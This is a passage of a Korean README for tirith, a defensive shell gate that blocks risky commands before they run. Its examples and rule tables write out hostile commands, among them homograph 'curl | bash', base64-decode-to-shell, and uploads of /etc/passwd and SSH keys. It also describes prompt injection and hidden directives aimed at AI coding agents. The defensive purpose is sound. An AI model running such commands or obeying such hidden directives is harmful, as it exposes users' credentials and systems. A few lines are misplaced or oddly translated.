당신은 할 수 없습니다. 터미널도 마찬가지입니다. 두 `і` 문자 모두 키릴 문자(U+0456)이며, 라틴 `i`가 아닙니다. 두 번째 URL은 공격자의 서버로 연결됩니다. 스크립트는 당신이 알아채기도 전에 실행됩니다.

브라우저는 몇 년 전에 이 문제를 해결했습니다. 터미널은 여전히 유니코드, ANSI 이스케이프, 보이지 않는 문자를 의심 없이 렌더링합니다. AI 에이전트는 내부를 검사하지 않고 셸 명령을 실행하고 패키지를 설치합니다.

**Tirith가 문 앞에 서 있습니다.** 명령, 붙여넣은 콘텐츠, 스캔된 파일을 가로채어 서명된 위협 인텔리전스 데이터베이스에서 실행되기 전에 호모그래프 URL, 난독화된 페이로드, 자격 증명 유출, 악성 AI 스킬/설정, 알려진 악성 패키지/도메인/IP를 차단합니다.```bash
brew install tirith

> [!TIP]
> `eval "$(tirith init)"`는 현재 셸을 자동으로 감지합니다(부모 프로세스를 검사하고 필요 시 `$SHELL`로 폴백). 명시적 `--shell` 플래그는 감지를 재정의하려는 경우에만 필요합니다.

그게 전부입니다. 이제 실행하는 모든 명령이 보호됩니다. 깨끗한 입력에는 제로 마찰. 서브 밀리초 오버헤드. 당신을 구할 때까지 존재조차 잊게 됩니다.

[npm](#cross-platform), [cargo](#cross-platform), [mise](#cross-platform), [apt/dnf](#linux-packages) 및 [더 많은 방법](#install)으로도 사용할 수 있습니다.

---

## 작동 확인

**호모그래프 공격, 실행 전 차단됨:**```
$ curl -sSL https://іnstall.example-clі.dev | bash

tirith: BLOCKED
  [CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
    This is a homograph attack. The URL visually mimics a legitimate
    domain but resolves to a completely different server.
  Bypass: prefix your command with TIRITH=0 (applies to that command only)

경고는 stderr로 출력됩니다. 명령은 여전히 실행됩니다.

**Base64 디코딩-실행 체인, 차단됨:**```
$ echo payload | base64 -d | bash

tirith: BLOCKED
  [HIGH] base64_decode_execute, Base64 decode piped to interpreter
  [HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash

모든 curl/wget 업로드 플래그, 환경 변수(`$AWS_SECRET_ACCESS_KEY`), 및 명령어 치환을 다룹니다.

**스캔에서 발견된 악성 스킬 파일:**```
$ tirith scan evil_skill.py

tirith scan: evil_skill.py, 3 finding(s)
  [MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
  [MEDIUM] obfuscated_payload, Long base64 string decoded and executed
  [MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument

Nothing. zero output. You forget tirith is running.

---

## 감지하는 항목

**34개 카테고리에 걸친 221개의 탐지 규칙.**

| 카테고리 | 차단 내용 |
|----------|--------------|
| **Homograph 공격** | 호스트명의 키릴 문자/그리스 문자 유사어, 퓨니코드 도메인, 혼합 스크립트 레이블, 유사 TLD, 혼동 가능한 도메인, 텍스트 수준 혼동 가능 탐지 (수학 알파뉴메릭, 동일 단어 내 혼합 스크립트) |
| **터미널 인젝션** | ANSI 이스케이프 시퀀스, Bidi 오버라이드, 제로 너비 문자, 유니코드 태그, 보이지 않는 수학 연산자, 변형 선택자, 한글 채움 문자 |
| **스테가노그래피 방어** | 보이지 않는 공백 인코딩 (12가지 유니코드 공백 변형), 몽골 모음 구분자, 한글 채움 문자, 수학 알파뉴메릭 치환, st3gg 스타일 텍스트 스테가노그래피 방어 |
| **파이프-투-쉘** | `curl \| bash`, `wget \| sh`, `httpie \| sh`, `xh \| sh`, `python <(curl ...)`, `eval $(wget ...)`, 모든 소스-투-싱크 패턴 |
| **Base64 디코드-실행** | `base64 -d \| bash`, `python -c "exec(b64decode(...))"`, `powershell -EncodedCommand`, sudo/env 래퍼를 통한 디코드 체인 |
| **데이터 유출** | `curl -d @/etc/passwd`, `curl -T ~/.ssh/id_rsa`, `wget --post-file`, 환경 변수 업로드 (`$AWS_SECRET_ACCESS_KEY`), 명령 치환을 통한 유출 |
| **코드 파일 스캐닝** | 난독화된 페이로드 (`eval(atob(...))`), 동적 코드 실행 (`exec(b64decode(...))`), JS/Python 파일 내 `fetch`/`requests.post`를 통한 비밀 유출 |
| **자격 증명 탐지** | AWS 키, GitHub PAT, Stripe/Slack/SendGrid/Anthropic/GCP/npm 토큰, 개인 키 블록, 엔트로피 기반 일반 비밀 탐지 |
| **침해 후 행동** | 프로세스 메모리 스크래핑 (`/proc/*/mem`), Docker 원격 권한 상승, 자격 증명 파일 스윕, TeamPCP 및 UNC1069 침해 후 도구에 맞춰 보정됨 |
| **명령 안전성** | Dotfile 덮어쓰기, 민감한 경로로의 아카이브 추출, 클라우드 메타데이터 엔드포인트 접근, 개인 네트워크 접근 |
| **안전하지 않은 전송** | 쉘로 파이프된 일반 HTTP, `curl -k`, 비활성화된 TLS 검증, 목적지를 숨기는 단축 URL |
| **환경** | 프록시 하이재킹, 민감한 환경 변수 내보내기, 환경을 통한 코드 인젝션, 인터프리터 하이잭, 쉘 인젝션 환경 변수 |
| **설정 파일 보안** | 설정 파일 인젝션, 의심스러운 표시기, 설정 파일 내 비ASCII/보이지 않는 유니코드, MCP 서버 보안 (안전하지 않음/신뢰할 수 없음/중복/허용적) |
| **생태계 위협** | Git 클론 타이포스쿼팅, 신뢰할 수 없는 Docker 레지스트리, pip/npm URL 설치, web3 RPC 엔드포인트, 검증되지 않은 수의사 |
| **설치 명령 안전성** | 파이프된 다운로드로 추가된 APT 저장소, `[trusted=yes]` / `--allow-unauthenticated` / `--nogpgcheck` / pacman `SigLevel = Never` (비활성화된 서명 확인), 원시/단축 원격 매니페스트에 대한 `kubectl apply -f`, 신뢰할 수 없는 저장소의 Helm 차트, 신뢰할 수 없는 원격 소스의 Terraform 모듈, 임의 URL에서 `brew install`/`tap` |
| **경로 분석** | 비ASCII 경로, 경로 내 호모글리프, 이중 인코딩 |
| **렌더링된 콘텐츠** | 숨겨진 CSS/색상 콘텐츠, 숨겨진 HTML 속성, 주석 콘텐츠 분석 (High에서 프롬프트 인젝션, Medium에서 파괴적 명령) |
| **클로킹 탐지** | 서버 측 클로킹 (봇 vs 브라우저), 클립보드 숨겨진 콘텐츠, PDF 숨겨진 텍스트 |
| **Windows / PowerShell** | `Set-ExecutionPolicy Bypass` / `-ep`, Windows Defender 제외 (`Add-MpPreference -Exclusion*`), 인라인 `iex (iwr ...)` 다운로드-실행 |
| **터미널 출력 방어** | OSC 52 클립보드 쓰기, 가짜 프롬프트, OSC 8 하이퍼링크 및 제목/화면 지우기 조작, 명령 또는 MCP 도구 출력 내 프롬프트 인젝션 (원시 및 난독화 해제 모두 스캔하므로 보이지 않는 문자, 혼동 가능, 띄어쓰기, leetspeak, 짧은 base64/hex 우회도 탐지), 출력 데이터 유출 (비콘 URL 또는 "비밀을 읽은 후 전송" 지시문) |
| **운영 컨텍스트** | 라벨링된 프로덕션 클라우드/k8s 컨텍스트 및 SSH 호스트에 대한 파괴적 명령, 저장된 계획과 일치하지 않는 Terraform/Pulumi/OpenTofu `apply`, 위험한 sudo 권한 상승, 권한 있는 `docker run` |
| **워크스테이션 및 지속성** | 느슨한 권한의 자격 증명 파일 및 평문 토큰 (`~/.ssh`, `~/.aws`, `.npmrc`), 지속성 거점 (쉘 rc, `authorized_keys`, crontab, LaunchAgents, git `core.hooksPath`), PATH 하이잭 순서, 실행 파일 출처, 위험한 별칭, 민감한 환경 변수 수명 주기 |
| **폭발 반경 및 상관 관계** | 저장소를 벗어나는 삭제, 대량 삭제, 위험한 소스에서 다운로드한 파일 실행, 비밀 작성 후 네트워크 또는 삭제 후 `git push --force`와 같은 세션 체인 |
| **신뢰, 증명 및 출처** | 서명된 명령 카드 불일치, 카나리 허니토큰 접촉, 붙여넣기 소스-호스트 불일치, 호출자 출처 (에이전트) 정책 거부, MCP 잠금 파일 드리프트, 알려진 안전한 스냅샷과 AI 설정 드리프트 |

---

## tirith가 보호하지 않는 항목

Tirith는 명령, 붙여넣은 텍스트, 파일의 **구조**를 실행 전에 분석합니다.
실행 전 게이트 역할을 하며, 런타임 방어가 아닙니다. 따라서 다음을 포함하지 않습니다:

- **런타임 샌드박싱:** tirith는 경고하거나 차단하지만, 명령이 실행된 후 격리하거나 샌드박싱하지 않습니다.
- **실행 후 네트워크 모니터링:** 프로세스가 실행 후 네트워크에서 수행하는 작업은 범위 밖입니다.
- **악성코드/페이로드 탐지:** tirith는 구조를 분석하며 페이로드 동작을 분석하지 않습니다. 안티바이러스가 아니며 폭발시키거나 시그니처 매칭을 하지 않습니다. (`tirith run`은 다운로드된 스크립트의 구조를 확인하지만 여전히 악성코드 분석은 아닙니다.)
- **권한 있는 루트/관리자 공격자:** 이미 루트이거나 관리자인 사람은 tirith를 쉽게 우회할 수 있습니다. 속은 입력으로부터 방어할 뿐, 이미 머신을 장악한 공격자로부터는 방어하지 않습니다.
- **안티 디버깅/안티 변조:** tirith는 리버스 엔지니어링에 저항하지 않으며 로컬 공격자로부터 자체 바이너리를 보호하지 않습니다.

전체 위협 모델 및 명시적 비목표는 [docs/threat-model.md](https://github.com/sheeki03/tirith/blob/HEAD/docs/threat-model.md)를 참조하세요.

---

## 알려진 제한 사항

- **쉘 후크 취약성:** 보호는 설치되어 활성화된 쉘 후크에 의존합니다. 후크는 쉘, 쉘 버전, 프롬프트 프레임워크, 히스토리 도구에 따라 중단되거나 조용히 성능이 저하될 수 있습니다. 실시간 상태를 확인하려면 `tirith doctor`를 실행하고 경고 전용 성능 저하를 주시하세요.
- **Unix 전용 기능:** 데몬 모드, `tirith setup`, `tirith run`, `tirith fetch`는 현재 Unix 전용입니다.
- **패키지 이름 추출 범위:** 언어 생태계(pip, npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle)를 포함하며, 배포판 패키지 관리자(`apt`, `dnf`, `yum`, `pacman`)는 포함하지 않습니다.
- **AI 에이전트 주의사항:** 쉘 후크 차단은 후크가 설치된 대화형 쉘을 통과하는 명령만 보호합니다. 비대화형 쉘을 생성하거나, `exec`를 직접 호출하거나, 후크가 로드되지 않은 상태에서 실행되는 에이전트는 보호되지 않습니다. MCP 보호는 권고 사항(에이전트가 tirith MCP 도구를 호출해야 함)이며 강제되지 않습니다.

---

## 위협 인텔리전스

Tirith는 패키지, 호스트명, IP 평판에 대한 서명된 로컬 위협 데이터베이스를 제공합니다. 쉘 후크 또는 `tirith check`가 패키지 설치 또는 의심스러운 인프라 참조를 발견하면, 명령이 실행되기 전에 정적 휴리스틱에만 의존하지 않고 데이터베이스와 입력을 매칭합니다.

**서명된 DB** (CI에서 매일 빌드, 다운로드 및 로드 시 검증):

- [OpenSSF Malicious Packages](https://github.com/ossf/malicious-packages) 및 [Datadog Security Labs](https://github.com/DataDog/malicious-software-packages-dataset)의 알려진 악성 패키지
- [Feodo Tracker](https://feodotracker.abuse.ch/) (abuse.ch)의 악성 IP 인프라
- [ecosyste.ms](https://ecosyste.ms/)의 확인된 타이포스쿼트 및 인기 패키지 기준선
- 런타임 권고 상관 관계를 위한 [CISA Known Exploited Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) 카탈로그

**선택적 추가 피드** (사용자 로컬 오버레이):

- abuse.ch 인증 키를 통한 [URLhaus](https://urlhaus.abuse.ch/) 및 [ThreatFox](https://threatfox.abuse.ch/)
- [PhishTank](https://phishtank.org/) (Cisco Talos) 및 [Phishing Army](https://phishing.army/) 차단 목록
- [Tor Project](https://www.torproject.org/)의 Tor 종료 노드 목록

**`tirith check` 및 데몬 모드에서 선택적 실시간 보강**:

- [OSV.dev](https://osv.dev/) 권고 조회 (Google OSS)
- [deps.dev](https://deps.dev/) 패키지 건강 신호 (Google OSS) 및 [ecosyste.ms](https://ecosyste.ms/) 관리자 데이터
- 자체 API 키를 사용한 [Google Safe Browsing](https://safebrowsing.google.com/) URL 평판```bash
tirith threat-db update              # download + verify the signed DB
tirith threat-db status              # age, signature, version, entry counts
tirith threat-db health              # install, signature, staleness, counts
tirith threat-db sources             # list every feed the DB is built from
tirith threat-db explain react       # what the DB knows about an indicator
tirith threat-db diff --since 2026-01-01   # count changes since a version/date

**기본적으로 오프라인(Offline by default).** 플래그가 없으면 모든 신호는 로컬에서 처리되며, 네트워크 호출이 없습니다: (1) **이름 vs. 인기 패키지**: 로컬 위협 데이터베이스의 `popular` 집합을 기준으로, 알려진 인기 패키지, 알 수 없음, 또는 인기 이름과 한 글자 차이인 근접 오타(전형적인 타이포스쿼트/슬롭스쿼트 형태); (2) **알려진 악성 타이포스쿼트**: 위협 DB의 `typosquat` 인덱스에서 정확히 일치하는 경우; (3) **설치/생명주기 스크립트** 및 (4) **번들된 바이너리 블롭**은 패키지 콘텐츠가 로컬에서 사용 가능한 경우에만 감지됩니다(`node_modules` / `site-packages` 아래, 또는 `--path`를 통해). tirith는 패키지를 **절대 다운로드하지 않습니다**.

**`--online`은 레지스트리 출처(provenance)를 추가합니다.** 동일한 *요인 합산 모델*에서 npm, PyPI 또는 crates.io의 패키지 레지스트리를 조회하여 여섯 가지 추가 요인을 확인합니다: 패키지/버전 수명, 소유자가 없는 확립된 패키지, 비정상적인 버전 급증, 극히 낮은 다운로드 수, 소스 리포지토리 누락, 그리고 철회/폐기(yanked/deprecated) 상태. 이것이 네트워크에 접촉하는 유일한 경로입니다(`check` 핫 경로는 절대 아님). `--offline` / `TIRITH_OFFLINE`은 오프라인을 강제합니다. 실패 시 `api signals: unavailable`이라는 정직한 메시지와 함께 오프라인 점수로 대체되며, 응답은 TTL로 캐시되어 반복 실행 시 레지스트리에 부담을 주지 않습니다.

점수는 참고용이며 독립적입니다: `package risk`는 탐지 규칙이 아니며, 판정, 종료 코드 또는 감사 로그를 변경하지 않습니다.

### 생태계 스캔, 공급망 방화벽

`tirith ecosystem scan [path]`는 `package risk`의 디렉터리 수준 동반 명령입니다. 프로젝트를 탐색하며, 이해하는 모든 종속성 매니페스트(npm(`package.json`, `package-lock.json`), Python(`requirements*.txt`, `pyproject.toml`), Rust(`Cargo.toml`), Go(`go.mod`), Ruby(`Gemfile`))를 발견하고, 동일한 결정론적 `package_risk` 요인 엔진을 사용하여 **선언된 모든 종속성**에 점수를 매깁니다.```bash
tirith ecosystem scan                       # scan the current project
tirith ecosystem scan ./my-project          # scan a specific directory
tirith ecosystem scan --online ./my-project # also consult the registry API
tirith ecosystem scan --format json ./      # full machine-readable report

### 숨겨진 콘텐츠 탐지

HTML, Markdown, PDF에서 사람에게는 보이지 않지만 AI가 읽을 수 있는 콘텐츠를 감지합니다:

- **CSS 숨기기**: `display:none`, `visibility:hidden`, `opacity:0`, `font-size:0`, 화면 밖 위치 지정
- **색상 숨기기**: 흰색 위 흰색 텍스트, 유사한 전경/배경(대비율 < 1.5:1)
- **HTML/Markdown 주석**: 프롬프트 인젝션 구문(높음), `rm -rf` 또는 `curl|bash` 같은 파괴적 명령(중간), 지침을 숨기는 긴 주석(낮음)
- **PDF 숨겨진 텍스트**: 서브픽셀 렌더링 텍스트(font-size < 1px)로 사람이 읽을 수 없지만 LLM이 구문 분석 가능

### AI 관련 파일의 숨겨진 콘텐츠 스캔

`tirith scan`은 또한 AI 코딩 에이전트(또는 렌더러)가 읽고 실행하는 파일 형식을 검사하여, **인간 검수자를 우회해 밀반입된** 콘텐츠를 찾습니다. 일반 노트북, 눈에 보이는 지침이 있는 평범한 `CLAUDE.md`, SVG 이미지는 깨끗하게 남으며, 숨겨지거나 밀반입된 콘텐츠만 플래그를 발생시킵니다.

- **Jupyter 노트북**(`*.ipynb`): 셀 소스의 보이지 않는/양방향/폭 없는 문자, 소스에 포함된 base64 인코딩 blob, 렌더링 보기에서 숨겨진 셀(`metadata.jupyter.source_hidden` / `hide_input` 태그), 그리고 보이지 않는 문자나 활성/숨겨진 HTML을 포함한 셀 *출력*
- **AI 에이전트 명령 파일**(`CLAUDE.md`, `AGENTS.md`, `.cursorrules` 등), *숨겨진* 지시문만: HTML 주석 안의 지시문(렌더링된 Markdown에서 보이지 않음) 또는 시각적으로 숨겨진 HTML 요소. 이러한 파일은 정당하게 눈에 보이는 지침을 포함하므로 일반적인 보이는 지침은 절대 플래그를 발생시키지 않음
- **SVG 이미지**(`*.svg`): 포함된 `<script>`, 인라인 `on*` 이벤트 핸들러, `javascript:` URI, 원격 `xlink:href` / `href`, 또는 XXE 외부 엔터티 선언

### 클로킹 탐지

`tirith fetch`는 6개의 사용자 에이전트(Chrome, ClaudeBot, ChatGPT-User, PerplexityBot, Googlebot, curl)에 걸쳐 서버 응답을 비교하여 서버가 AI 봇과 브라우저에 다른 콘텐츠를 제공하는지 감지합니다.

---

## 운영 컨텍스트 및 워크스테이션 보호 장치

단일 명령 외에도 여러 명령 그룹이 게이트를 운영 컨텍스트 및 워크스테이션 상태로 확장합니다. 핫 경로에 영향을 미치는 것은 옵트인(정책 플래그)이며, 나머지는 필요 시 실행됩니다.

**운영 컨텍스트**(`tirith context`, `ssh`, `iac`, `sudo`). 프로덕션 클라우드 / Kubernetes 컨텍스트 및 SSH 호스트를 한 번 레이블 지정하면, tirith가 중요한 사항을 상향 조정합니다: 레이블이 지정된 프로덕션 컨텍스트에 대한 파괴적 명령, 레이블이 지정된 프로덕션 호스트에 대한 SSH, 저장된 계획과 일치하지 않는 Terraform / Pulumi / OpenTofu `apply`, 또는 이유가 명시된 세션 창 없이 sudo 권한 상승. 레이블은 `~/.config/tirith/context-labels.yaml` 및 `ssh-host-labels.yaml`(또는 리포지토리 범위로 `.tirith/` 아래)에 저장됩니다.

**워크스테이션 위생**(`tirith hygiene`, `persistence`, `aliases`, `env`, `exec`, `path`, `hooks`). 느슨한 권한의 자격 증명 파일과 일반 텍스트 토큰(`~/.ssh`, `~/.aws`, `~/.kube`, `.npmrc`, `.pypirc`)을 스캔하고, 공격자가 사용하는 지속성 거점(shell rc, `authorized_keys`, crontab, LaunchAgents / systemd-user units, git `core.hooksPath`)을 비교하며, 중요 명령을 가리거나 자격 증명을 읽는 별칭을 플래그 지정하고, `$PATH`를 하이재킹 순서로 감사하며, 바이너리의 출처(패키지 소유자, 코드 서명, 시스템 명령을 가리는지 여부)를 보고합니다.

**폭발 반경 및 격리**(`tirith preview`, `watch`, `temp-run`, `taint`, `intend`, `baseline`). 파괴적 명령을 실행하기 전에 파일 시스템 영향을 미리 보고, 명령이 실제로 변경한 사항을 차이로 확인하고, 신뢰할 수 없는 명령을 일회용 디렉토리에서 실행하며, 위험한 소스에서 다운로드한 파일을 추적하여 나중에 실행할 때 결과를 발생시킵니다. `temp-run`은 작업 디렉토리만 변경하며, 파일 격리이지 샌드박스가 아닙니다.

## 신뢰, 증명 및 사고 대응

- **명령 증명**(`tirith command-card`)은 ed25519 키로 알려진 양호한 명령에 서명합니다. 명령과 더 이상 일치하지 않는 신뢰된 카드는 높음(High)을 발생시킵니다.
- **리포지토리 명령 매니페스트**(`tirith commands`)는 `.tirith/commands.yaml` 허용 목록으로, 승인된 명령에 대한 알 수 없는 명령 노트를 무음 처리하고 위험한 명령 리스트를 추가합니다(평결을 강화할 수 있지만 약화시키지는 않음).
- **허니토큰**(`tirith canary`)은 명백히 합성된 카나리 토큰을 심습니다. 확인된 명령, 붙여넣기 또는 도구 출력에서 접촉되면 높음(High)을 발생시킵니다. 탐지는 모양 일치가 아닌 로컬 저장소 조회입니다.
- **비밀 교체**(`tirith secret`)는 감사 로그에서 최근 자격 증명 결과를 읽고 11개 제공자에 대한 제공자별 교체/취소 단계를 출력합니다. 자체적으로 아무것도 교체하지 않으며 네트워크 호출을 하지 않습니다.
- **사고 모드**(`tirith incident`)는 "공격 중" 자세를 선언합니다. `fail_mode: closed`를 강제하고, `TIRITH=0` 우회를 비활성화하며, 중단할 때까지 자격 증명 스윕, 디코드 실행, 의심스러운 바이너리 규칙을 상향 조정합니다.

## 출력, 붙여넣기 및 공유 안전

- **출력 방향 방어**(`tirith view`, `tirith output`, `gateway run --filter-output`, `mcp-server --sanitize-tool-output`)는 명령 및 MCP 도구 출력에서 터미널 속임수 이스케이프를 무력화합니다: OSC 52 클립보드 쓰기, 가짜 프롬프트, OSC 8 하이퍼링크 불일치, 제목/화면 지우기 조작. 또한 출력에서 프롬프트 인젝션(원시 및 난독 해제) 및 데이터 유출 비컨을 스캔합니다. `injection_seeds_custom`으로 사용자 지정 시드를 추가하고, `mcp_redact_injection`으로 인젝션 전용 MCP 블록을 차단 대신 경고로 수정하는 것을 옵트인할 수 있습니다.
- **대상 인식 수정**(`tirith share`, `tirith redact`, `tirith logs`)은 GitHub 이슈, Slack, LLM 또는 공개 붙여넣기에 붙여넣기 전에 비밀 및 고객/테넌트 ID를 제거합니다.
- **붙여넣기 출처**(`tirith paste --with-source`, `tirith browser`). 동반 Chrome 네이티브 메시징 호스트가 설치된 상태에서, tirith는 붙여넣은 명령을 해당 소스 페이지에 귀속시키고 명령이 실행되는 호스트와 소스 호스트가 다른 붙여넣기를 플래그 지정합니다.

---

## 설치

### macOS

**Homebrew:**```bash
brew install tirith

**Fedora / RHEL / CentOS 9+ (.rpm):**

다운로드: [GitHub Releases](https://github.com/sheeki03/tirith/releases/latest), 그 다음:```bash
sudo dnf install ./tirith-*.rpm

**Nix:**```bash
nix profile install nixpkgs#tirith              # from nixpkgs
nix profile install github:sheeki03/tirith      # from upstream flake
# or try without installing: nix run github:sheeki03/tirith -- --version

그런 다음 셸 훅을 `~/.bashrc`에서 활성화하세요 (Termux의 기본 셸은 bash입니다):```bash
eval "$(tirith init --shell bash)"   # add to ~/.bashrc

**Chocolatey** (심사 중, 승인 대기 중):```powershell
choco install tirith

**Cargo:**```bash
cargo install tirith

**asdf:**```bash
asdf plugin add tirith https://github.com/sheeki03/asdf-tirith.git
asdf install tirith latest
asdf global tirith latest

### 활성화

셸 프로필(`.zshrc`, `.bashrc`, 또는 `config.fish`)에 추가하세요:```bash
eval "$(tirith init --shell zsh)"   # in ~/.zshrc
eval "$(tirith init --shell bash)"  # in ~/.bashrc
tirith init --shell fish | source   # in ~/.config/fish/config.fish

### tirith 업데이트 및 확인

tirith는 자체 무결성을 검증하고 스스로 업데이트할 수 있습니다. 두 명령 모두 실행할 때만 네트워크에 접속합니다.```bash
tirith verify-self          # is this binary the genuine, unmodified release?
tirith update               # update to the latest release
tirith version --provenance # version, build info, install method, verification

### AI 에이전트 통합

`tirith setup <tool>`을 사용하여 한 번의 명령으로 구성하십시오:```bash
tirith setup claude-code --with-mcp   # Claude Code + MCP server
tirith setup codex                    # OpenAI Codex
tirith setup copilot-cli              # GitHub Copilot CLI (run from repo root)
tirith setup cursor                   # Cursor
tirith setup gemini-cli --with-mcp    # Gemini CLI + MCP server
tirith setup kiro                     # Kiro CLI (formerly Amazon Q)
tirith setup pi-cli                   # Pi CLI
tirith setup vscode                   # VS Code
tirith setup windsurf                 # Windsurf

**pre-commit hook**으로도 사용 가능합니다: 이 저장소의 `.pre-commit-hooks.yaml`을 참조하세요.

Scan은 대상 CI 스캐닝을 위해 `--include`, `--exclude`, `--profile` (정책에서 명명된 프로파일 로드) 및 `--ignore` 필터를 지원합니다.

### 규칙 문서```bash
tirith explain --rule pipe_to_interpreter   # severity, examples, remediation, MITRE ATT&CK
tirith explain --rule curl_pipe_shell --fix # just the remediation ("what to do instead")
tirith explain --list --category terminal   # all rules in a category

이는 pipe-to-shell을 download-review-run으로 다시 작성하고, 안전하지 않은 TLS 플래그(`-k` / `--insecure` / `--no-check-certificate`)를 제거하며, 일반 `http://`를 `https://`로 전환합니다. 안전한 기계적 재작성이 불가능한 결과(호모그래프 호스트 이름, 아카이브 추출 대상, ...)에 대해서는 명확히 표시하고 대신 수정 조치를 보여줍니다. 절대 잘못된 제안을 내보내지 않습니다. 이 플래그는 권고 사항입니다: 판정이나 종료 코드를 변경하지 않습니다.

### 데몬 모드 (Unix)

밀리초 미만의 지연 시간과 네트워크 인식 강화(단축 URL 확인, DNS 블록리스트 검사)를 위한 선택적 백그라운드 프로세스:```bash
tirith daemon start       # tirith check auto-delegates when running
tirith daemon stop

`tirith policy init`는 `--template <name>`을 받아들여 선별된 시작 정책을 제공합니다:```bash
tirith policy init --template individual      # solo developer defaults (alias: personal)
tirith policy init --template ci-strict       # fail-closed, no bypass, scan fail-on
tirith policy init --template ai-agent-heavy  # tuned for heavy AI-agent use
tirith policy init --template oss-maintainer  # reviewing contributor-controllable risk
tirith policy init --template startup         # small-team balance
tirith policy init --template enterprise      # strict, with an active package_policy block
tirith policy init --template mcp-strict      # locked-down MCP server and tool trust

특정 규칙에 대해 신뢰하는 소스가 있지만 전역적으로 허용 목록에 추가하고 싶지 않을 때 규칙 범위 억제를 위해 `allowlist_rules`를 사용하십시오:```yaml
allowlist_rules:
  - rule_id: curl_pipe_shell
    patterns:
      - "get.docker.com"

각 항목의 **범위**는 `exact`, `substring`, `domain`,
`wildcard`, 또는 `bare-TLD`로 분류됩니다. 광범위한 범위(`domain` / `wildcard` / `bare-TLD`)는
`--broad`가 필요하므로, 광범위한 허용은 항상 의도적인 선택입니다. 모든
하위 명령어는 `--format json`을 지원합니다. 이전 버전의 tirith로 작성된 신뢰 저장소는
변경 없이 계속 작동하며, TTL이 없는 항목은 영구적인 것으로 처리됩니다.

### 단계적 확대 및 작업 재정의

경고는 세션별로 추적됩니다. 동일한 규칙이 반복적으로 발생하면, 단계적 확대 규칙이 차단으로 업그레이드할 수 있습니다:```yaml
action_overrides:
  shortened_url: block            # always block, regardless of default severity

escalation:
  - trigger: repeat_count
    rule_ids: ["*"]               # any rule
    threshold: 5
    window_minutes: 60
    action: block
  - trigger: multi_medium
    min_findings: 3               # 3+ medium findings on one command → block
    action: block

셸 종료 시, 세션 중 경고가 기록된 경우 한 줄 요약이 출력됩니다.

더 많은 예제는 [docs/cookbook.md](https://github.com/sheeki03/tirith/blob/HEAD/docs/cookbook.md)에서 확인하세요.

### 사용자 정의 탐지 규칙

`.tirith/policy.yaml` 파일의 `custom_rules:` 아래에 자신만의 규칙을 작성하세요. 각 규칙은 `pattern:` (정규식) 또는 `when:` 의미적 조건 트리 중 하나이며, `context:` (`exec`, `paste`, 또는 `file`), `severity:`, `title:`을 포함합니다.```yaml
custom_rules:
  - id: no_internal_pastebin
    context: exec
    severity: high
    title: "Internal pastebin is not allowed for piped execution"
    when:
      all:
        - command.has_pipeline_to: [bash, sh]
        - url.host_matches: "paste\\.corp\\.example$"

### 추가 정책 제어

기타 정책 키는 모두 안전한 기본값을 가집니다 (`tirith policy init`는 완전히 주석 처리된 세트를 작성합니다):

- `package_policy:` 임계값은 공급망 신호를 차단 또는 경고 판결로 전환합니다 (`block_typosquat_distance`, `warn_low_downloads_below`, `block_newer_than_days`, `block_not_found`).
- `agent_rules:` `allow:` / `deny:`는 명령의 호출자 출처 (`{ kind, name }`)와 일치합니다. `deny` 일치는 차단을 강제합니다. `scan.trusted_mcp_servers` 및 `scan.mcp_allowed_tools`는 특정 MCP 서버 및 서버별 도구를 허용합니다.
- 옵트인 가드는 기본적으로 꺼져 있습니다: `env_guard_enabled`, `exec_guard_enabled`, `hooks_guard_enabled`, `baseline_enabled`, 그리고 `iac_require_plan_before_apply`, `sudo_require_reason`, `allowed_install_domains`.

저장소 범위의 `.tirith/policy.yaml` 파일은 강화만 가능하며 완화할 수 없습니다. 허용 목록을 확장하거나 심각도를 낮추거나 가드를 비활성화하려는 저장소 정책은 무효화되며, `tirith policy effective`는 어떤 필드가 삭제되었는지 보여줍니다. 사용자 수준 및 조직 수준(`TIRITH_POLICY_ROOT`) 정책만 기본값을 완화할 수 있습니다.

### 엄격 경고 모드

`strict_warn: true`(또는 CLI에서 `--strict-warn`)를 사용하면 중간 위험 결과가 대화형 터미널에서 조용히 경고하는 대신 명시적인 확인을 요구합니다:```
$ curl -sSL https://get.docker.com | sh

tirith: WARNING
  [MEDIUM] pipe_to_interpreter, Download piped to interpreter
tirith: proceed with 1 warning(s)? [y/N]

이것은 표준 셸의 명령별 접두사입니다. 변수는 해당 단일 명령에 대해서만 존재하며 세션에 유지되지 않습니다. 조직은 정책에서 `allow_bypass_env: false`로 설정하여 완전히 비활성화할 수 있습니다.

> [!CAUTION]
> `TIRITH=0`은 명령별입니다. 셸 프로필, dotfile 또는 CI 구성에 내보내지 마십시오. 영구적인 우회는 전체 보호 모델을 무력화합니다. 자주 사용해야 한다면 대신 정책 파일의 `allowlist`에 신뢰할 수 있는 소스를 추가하십시오.

---

## 데이터 처리

로컬 JSONL 감사 로그 위치: `~/.local/share/tirith/log.jsonl`:
- 타임스탬프, 세션 ID, 동작, 규칙 ID, 편집된 명령 미리보기
- 원시 탐지 데이터(`raw_action`, `raw_rule_ids`)는 적용된 동작과 함께 보존되어 적용 범위 감사에 사용됩니다.
- 세션 경고 상태 위치: `~/.local/state/tirith/sessions/`
- 전체 명령, 환경 변수 또는 파일 내용은 **없습니다.**

비활성화: `export TIRITH_LOG=0`

---

## 문서

- [명령어 참조](https://github.com/sheeki03/tirith/blob/HEAD/docs/commands.md): 모든 하위 명령어, 카테고리별 그룹화
- [위협 모델](https://github.com/sheeki03/tirith/blob/HEAD/docs/threat-model.md): tirith가 방어하는 것과 방어하지 않는 것
- [쿡북](https://github.com/sheeki03/tirith/blob/HEAD/docs/cookbook.md): 일반적인 설정을 위한 정책 예제
- [문제 해결](https://github.com/sheeki03/tirith/blob/HEAD/docs/troubleshooting.md): 셸 특성, 지연 시간, 오탐지
- [호환성](https://github.com/sheeki03/tirith/blob/HEAD/docs/compatibility.md): 안정적 vs 실험적 표면
- [보안 정책](https://github.com/sheeki03/tirith/blob/HEAD/SECURITY.md): 취약점 보고
- [제거](https://github.com/sheeki03/tirith/blob/HEAD/docs/uninstall.md): 셸 및 패키지 관리자별 깔끔한 제거

기능 가이드:

